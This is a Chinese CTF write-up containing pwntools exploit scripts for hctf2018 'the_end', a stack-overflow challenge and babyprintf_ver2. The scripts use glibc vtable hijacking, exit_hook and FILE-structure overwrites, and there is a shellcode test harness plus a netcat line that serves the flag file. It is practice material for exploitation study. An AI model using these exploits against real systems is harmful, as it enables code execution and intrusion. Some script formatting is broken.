hctf2018_the_end

  • 开了pie对text段的断点 b *$rebase(addr)
  • 对libc地址的断点 b *(&_IO_cleanup+137)
  • one_gadget多个 one_gadget elf --level 1
  • 栈回溯的方式追踪程序流
  • 手动修改 set {long}&_IO_2_1_stdout_->vtable = arr
  • 运行shellcode
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    #include <stdio.h>

    int main(void)
    {
    unsigned char shellcode[]="\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";
    ((void (*)(void))shellcode)();

    return 0;
    }
    // gcc -g -z execstack -o test test.c


exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#_*_coding:utf-8_*_
#!/usr/bin/env python
from pwn import *


# 劫持vtable exit()->vtable.__setbuf()
context.log_level = "debug"
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)



p = process("./the_end")
# p = remote("node4.buuoj.cn",26042)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
pause()
ru("gift ")
sleep = int(ru(",")[:-1],16)
ru(";)")
print("sleep => 0x%x"%sleep)
libc.address = sleep - libc.sym["sleep"]
## vtable <- _IO_list_all+0xd8
## setbuf <- vtable+11*8
vtable = libc.sym["_IO_2_1_stdout_"]+0xd8
fake_vtable = libc.sym["__realloc_hook"]-0x58
print("vtable => 0x%x\nfake vtable => 0x%x\noffset => 0x%x"%(vtable,fake_vtable,fake_vtable&0xffff))

one = [ _ + libc.address for _ in (0xf03b0,0x45226,0x4527a,0xf03a4,0xf1247)]
target = one[0]

addr1 = vtable
byte1 = fake_vtable&0xff
addr2 = vtable+1
byte2 = (fake_vtable>>8)&0xff
# b *$rebase(0x95f)

payload = ""
payload += p64(addr1)
payload += chr(byte1)
payload += p64(addr2)
payload += chr(byte2)
payload += p64(libc.sym["__realloc_hook"])
payload += chr(target&0xff)
payload += p64(libc.sym["__realloc_hook"]+1)
payload += chr((target>>8)&0xff)
payload += p64(libc.sym["__realloc_hook"]+2)
payload += chr((target>>16)&0xff)
s(payload)
info(hex(target))
sl("nc -l 4403 < flag")
sh()

# nc -n ip 4403
  • exit_hook

    • 在libc-2.23中

    exit_hook = libc_base+0x5f0040+3848

    exit_hook = libc_base+0x5f0040+3856

    • 在libc-2.27中

    exit_hook = libc_base+0x619060+3840

    exit_hook = libc_base+0x619060+3848

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#_*_coding:utf-8_*_
#!/usr/bin/env python
from pwn import *
import sys

# exit() -> blablahander -> dl_fini -> lock unlock

# context.log_level = "debug"
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n

# p = process("./the_end",env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("node4.buuoj.cn",27917)
libc = ELF("libc-2.27.so")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.27.so")

def exp(id):
# pause()
ru("gift ")
sleep = int(ru(",")[:-1],16)
ru(";)")
libc.address = sleep - libc.sym["sleep"]
print("sleep => 0x%x"%sleep)
print("ld base => 0x%x"%ld.address)
_rtld_global = ld.sym["_rtld_global"]
_rtld_global = libc.address + 0x619060
src = _rtld_global+3848
one_gadget = [libc.address + _ for _ in (0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398)]
ogg = one_gadget[id]
payload = ""
payload += p64(src+0)
payload += chr(ogg&0xff)
payload += p64(src+1)
payload += chr((ogg>>8)&0xff)
payload += p64(src+2)
payload += chr((ogg>>16)&0xff)
payload += p64(src+3)
payload += chr((ogg>>24)&0xff)
payload += p64(src+4)
payload += chr((ogg>>32)&0xff)
payload += ("exec 1>&0")
sl(payload)
info(hex(ogg))
sh()

exp(int(sys.argv[1]))

######################################
#
# 0x7ffff7ffdf60 (_rtld_global+3840) —▸ 0x7ffff7dd40e0 (rtld_lock_default_lock_recursive) ◂— add dword ptr [rdi + 4], 1
# 0x7ffff7ffdf68 (_rtld_global+3848) —▸ 0x7ffff7dd40f0 (rtld_lock_default_unlock_recursive) ◂— sub dword ptr [rdi + 4], 1
# trigger
# 0x7ffff7de3ba9 <_dl_fini+105> call qword ptr [rip + 0x21a3b1] <rtld_lock_default_lock_recursive>
# 0x7ffff7de3c80 <_dl_fini+320> call qword ptr [rip + 0x21a2e2] <rtld_lock_default_unlock_recursive>
#
########################################

_IO_buf_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
from pwn import *

s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)

context.log_level = "debug"

p = process("./stackoverflow")
# p = remote("node4.buuoj.cn",25475)
libc = ELF("/home/giles/tools/glibc-all-in-one/libs/2.24-9ubuntu2.2_amd64/libc.so.6")
# GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.

sal("bro:","A"*7)
libc.address = u64(ru("\x7f")[-6:].ljust(8,"\x00")) - 0x7dd52
info("libc base => 0x%x"%libc.address)

ru("please input the size to trigger stackoverflow: ")
sl(str(0x6c28e8))
ru("please input the size to trigger stackoverflow: ")
sl(str(0x300000))
ru("padding and ropchain: ")
sl("aaaaaaa")


ru("please input the size to trigger stackoverflow: ")
payload = ""
payload += p64(libc.sym["__malloc_hook"]+8)
s(payload)
ru("padding and ropchain: ")
sl("aaaa")
for _ in range(len(payload)-1):
sl("")
r()
pause()
payload = p64(libc.sym["__malloc_hook"]+8)
payload += p64(0)*6
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x00007fdbaf570770-0x7fdbaf1ad000+libc.address)
payload += p64(0xffffffffffffffff)
payload += p64(0)
payload += p64(0x00007fdbaf56e9a0-0x7fdbaf1ad000+libc.address)
payload += p64(0)*3
payload += p64(0x00000000ffffffff)
payload += p64(0)*2
payload += p64(0x00007fdbaf56b400-0x7fdbaf1ad000+libc.address)
payload += p64(0)*41
payload += p64(libc.address+0x4557a)
payload += p64(libc.sym["realloc"]+16)
sl(payload)

# malloc -> malloc_hook -> realloc -> realloc_hook -> onegadget
sh()

babyprintf_ver2

*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#_*_coding:utf-8_*_
from pwn import *

context.log_level='debug'

s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ra = lambda t=tube.forever :p.recvall(t)
ru = lambda delim : p.recvuntil(delim)
rl = lambda : p.recvline()
rls = lambda n=2**20 : p.recvlines(n)

p = process("./babyprintf_ver2")
elf = ELF("./babyprintf_ver2")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


def file(_flags=0,
_IO_read_ptr=0,
_IO_read_end=0,
_IO_read_base=0,
_IO_write_base=0,
_IO_write_ptr=0,
_IO_write_end=0,
_IO_buf_base=0,
_IO_buf_end=0,
_IO_save_base=0,
_IO_backup_base=0,
_IO_save_end=0,
_markers=0,
_chain=0,
_fileno=0,
_flag2=0,
_lock=0):
f = p64(_flags) + p64(_IO_read_ptr) + \
p64(_IO_read_end) + p64(_IO_read_base) + \
p64(_IO_write_base) + p64(_IO_write_ptr) + \
p64(_IO_write_end) + p64(_IO_buf_base) + \
p64(_IO_buf_end) + p64(_IO_save_base) + \
p64(_IO_backup_base) + p64(_IO_save_end) + \
p64(_markers) + p64(_chain) + \
p64(_fileno) + p64(_flag2) + \
p64(0) + p64(_lock)
f = f.ljust(0xd0,'\x00') # sizeof(struct _IO_FILE) = 0xd8;
return f


ru("ocation to ")
stdout = int(r(len("0x5606da8ef010")),16)+0x10
elf.address = stdout - 0x202020

info("stdout => 0x%x"%stdout)
payload = ""
payload += "A"*16
payload += p64(stdout+0x8)
payload += file(_flags=0xfbad2887,
_IO_write_base=elf.got["puts"],
_IO_write_ptr=elf.got["puts"]+8,
_IO_read_end=elf.got["puts"],
_lock = stdout+0x100,
_fileno = 1,)
payload = payload.ljust(0x1ff,"\x00")
raw_input("break 1")
sl(payload)
puts = u64(ru("\x7f")[-6:]+"\x00\x00")
info("puts => 0x%x"%puts)
libc.address = puts-libc.sym["puts"]

ogg = [libc.address+_ for _ in (0x4f3d5,0x4f432,0x10a41c)]
og = ogg[1]
payload = p64(og)
payload += "B"*8
payload += p64(stdout+0x8)
payload += file(_flags=0xfbad2887,
_IO_write_ptr=libc.sym["__malloc_hook"],
_IO_write_end=libc.sym["__malloc_hook"]+8,
_lock = stdout+0x100,
_fileno = 1,)
payload = payload.ljust(0x1ff,"\x00")
raw_input("break 2")
sl(payload)
r()
sl("%100000c")
sh()

参考

IO FILE 之任意读写